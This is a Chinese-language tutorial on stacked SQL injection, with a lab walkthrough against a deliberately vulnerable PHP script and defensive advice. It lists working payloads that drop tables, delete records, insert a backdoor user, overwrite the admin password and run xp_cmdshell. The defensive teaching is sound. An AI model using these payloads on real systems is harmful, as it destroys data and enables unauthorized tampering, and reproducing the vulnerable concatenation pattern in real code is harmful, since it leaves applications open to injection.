本文仅用于网络安全技术学习与授权测试交流。本文实验皆在靶场进行,任何未经授权使用文中技术的行为均与作者无关,请务必遵守法律法规,获得许可后方可进行渗透测试。
目录
[4、常见攻击 Payload](#4、常见攻击 Payload)
[五、其他可能的 Payload 示例](#五、其他可能的 Payload 示例)
一、概念
堆叠注入 是指攻击者在 SQL 语句末尾使用分号 ; 结束当前查询,然后再执行一条或多条额外的 SQL 语句,从而实现多条语句连续执行的一种注入技术。
1、核心原理
在支持多语句执行 的数据库连接驱动中,SQL 引擎可以一次性解析并执行由分号分隔的多个 SQL 语句。攻击者利用这一特性,在原本只有一个查询的位置注入 ; 后跟任意 SQL 命令。
示例: 原始查询:
SELECT * FROM users WHERE id = 1
如果参数 id 存在注入点,攻击者输入:
1; DROP TABLE users --
拼接后的 SQL:
SELECT * FROM users WHERE id = 1; DROP TABLE users -- '
数据库会先执行 SELECT,再执行 DROP TABLE users,造成破坏。
2、与普通注入的区别
| 注入类型 | 是否允许多条语句 | 典型目的 |
|---|---|---|
| 普通注入(UNION、报错、盲注) | 否 | 窃取数据 |
| 堆叠注入 | 是 | 执行任意 SQL(增、删、改、执行存储过程等) |
3、触发条件
堆叠注入并非所有环境都支持,需要满足:
-
数据库驱动支持多语句执行
-
MySQL + PHP(
mysqli或PDO默认不开启 多语句,需设置PDO::MYSQL_ATTR_MULTI_STATEMENTS为true) -
SQL Server、PostgreSQL 默认支持
-
Oracle 需特殊配置
-
-
Web 应用使用了支持多语句的 API (例如 PHP 的
mysqli_multi_query()) -
注入点可以成功闭合且注释掉后续多余代码
4、常见攻击 Payload
1. 删除数据
'; DELETE FROM users WHERE 1=1; --
2. 插入后门用户
'; INSERT INTO users (username, password) VALUES ('hacker', 'pass'); --
3. 修改数据
'; UPDATE users SET password = 'hacked' WHERE username = 'admin'; --
4. 执行存储过程(SQL Server)
'; EXEC xp_cmdshell 'whoami'; --
5. 延时盲注(某些环境)
'; SELECT SLEEP(5); --
5、实际案例
假设一个搜索框的 SQL 为:
$sql = "SELECT * FROM products WHERE name = '".$_GET['name']."'";
攻击者输入:
apple'; DROP TABLE products; --
结果:
SELECT * FROM products WHERE name = 'apple'; DROP TABLE products; -- '
成功删除 products 表。
6、防御措施
-
禁止使用多语句执行函数 在 PHP 中避免使用
mysqli_multi_query(),使用query()或prepare()代替。 -
参数化查询(预编译) 无论是否支持多语句,预编译可以彻底防止 SQL 注入。
-
数据库账户最小权限 应用程序账户不应有
DROP、CREATE等危险权限。 -
输入过滤 过滤或转义分号
;,但不如参数化可靠。 -
WAF 规则 拦截包含
;+ SQL 关键字(如DROP、INSERT、UPDATE)的请求。
7、总结
堆叠注入危害极大,因为它可以执行任意 SQL 命令 ,而不仅仅是窃取数据。但利用条件较为苛刻,需要数据库驱动和应用代码的支持。根本防御依然是参数化查询,同时限制数据库账户权限。
二、靶场注入示例
一、靶场代码分析
原始 PHP 代码(demo4.php)如下:
<?php $conn = mysql_connect("127.0.0.1", "root", "root", "demo"); mysql_query($conn, "set names utf8"); $id = $_GET['id']; $sql = "delete from userinfo where id={$id}"; echo $sql; $res = mysql_multi_query($conn, $sql); ?>

关键漏洞点:
-
使用了已废弃的
mysql_*函数(PHP 7.0 后移除),但更重要的是mysql_multi_query()允许一次性执行多条由分号;分隔的 SQL 语句。 -
直接将 GET 参数
$id拼接到 DELETE 语句中,没有任何过滤或参数化处理。 -
代码没有对用户输入进行转义或校验,攻击者可以注入额外的 SQL 语句。
注意 :
mysql_multi_query()是mysqli_multi_query()的前身,功能相同------执行多条 SQL 语句。堆叠注入正是利用了这一特性。
二、正常请求与响应
正常请求:
http://127.0.0.1/demo4.php?id=1
拼接后的 SQL:
delete from userinfo where id=1
页面输出:
delete from userinfo where id=1

(仅打印 SQL 语句,不显示执行结果,但数据库中 id=1 的记录被删除)
三、堆叠注入攻击过程
攻击者在 id 参数中插入分号 ; 并追加第二条 SQL 语句。
恶意请求:
http://127.0.0.1/demo4.php?id=1;delete from userinfo
实际执行的 SQL 变成:
delete from userinfo where id=1; delete from userinfo
解析:
-
第一条语句:
delete from userinfo where id=1(删除 id=1 的记录) -
第二条语句:
delete from userinfo(删除整个 userinfo 表的所有数据)
效果:全表数据被清空,危害极大。

四、堆叠注入原理
-
核心 :数据库驱动支持多语句执行 (Multi-Query),允许用分号
;分隔多条 SQL 语句。 -
触发条件:
-
应用程序使用了支持多语句的 API(如
mysql_multi_query、mysqli_multi_query)。 -
数据库连接未禁止多语句(MySQL 默认允许,但 PHP 的
mysqli_query()不支持多语句)。 -
注入点可以闭合并注释掉后续多余的代码(本例中无需注释,因为
$sql直接拼接,没有多余后缀)。
-
与普通 SQL 注入的区别:
-
普通注入(UNION、报错、盲注)只能执行一条查询,目的是窃取数据。
-
堆叠注入可以执行任意多条 SQL 语句,包括
INSERT、UPDATE、DELETE、DROP、CREATE等,实现数据篡改、删除、提权等破坏性操作。
五、其他可能的 Payload 示例
| 目的 | Payload | 效果 |
|---|---|---|
| 删除整张表 | 1; DROP TABLE userinfo |
表被删除 |
| 插入后门数据 | 1; INSERT INTO userinfo (id, name) VALUES (99, 'hacker') |
添加恶意用户 |
| 修改数据 | 1; UPDATE userinfo SET name='admin2' WHERE id=1 |
修改记录 |
| 延时探测(盲注) | 1; SELECT SLEEP(5) |
响应延迟5秒 |
| 执行系统命令(需权限) | 1; SELECT xp_cmdshell('whoami')(SQL Server) |
命令执行 |
六、防御措施
-
禁用多语句执行
-
避免使用
mysql_multi_query、mysqli_multi_query等函数。 -
使用
mysql_query(已废弃)或mysqli_query(默认不支持多语句)即可防止堆叠注入。
-
-
参数化查询(预编译)
- 使用 PDO 或 mysqli 的
prepare()+execute(),彻底杜绝 SQL 注入,无论是否支持多语句。
$stmt = $conn->prepare("DELETE FROM userinfo WHERE id = ?"); $stmt->bind_param("i", $id); $stmt->execute(); - 使用 PDO 或 mysqli 的
-
输入验证
-
对于数字型 ID,强制转换为整数:
$id = (int)$_GET['id']。 -
对于字符串,使用白名单过滤。
-
-
最小权限原则
- 数据库账户不应拥有
DROP、TRUNCATE、INSERT等危险权限,仅授予必要的DELETE(且限定表)。
- 数据库账户不应拥有
-
WAF 规则
- 拦截包含
;后接 SQL 关键字(如DELETE、DROP、INSERT)的请求,但注意编码绕过。
- 拦截包含
七、总结
-
堆叠注入危害巨大,因为攻击者可以执行任意 SQL 命令,而不仅仅是窃取数据。
-
利用条件严格 :需要应用代码使用
multi_query类函数,且数据库驱动支持多语句。 -
根本防御:参数化查询 + 禁用多语句函数 + 最小数据库权限。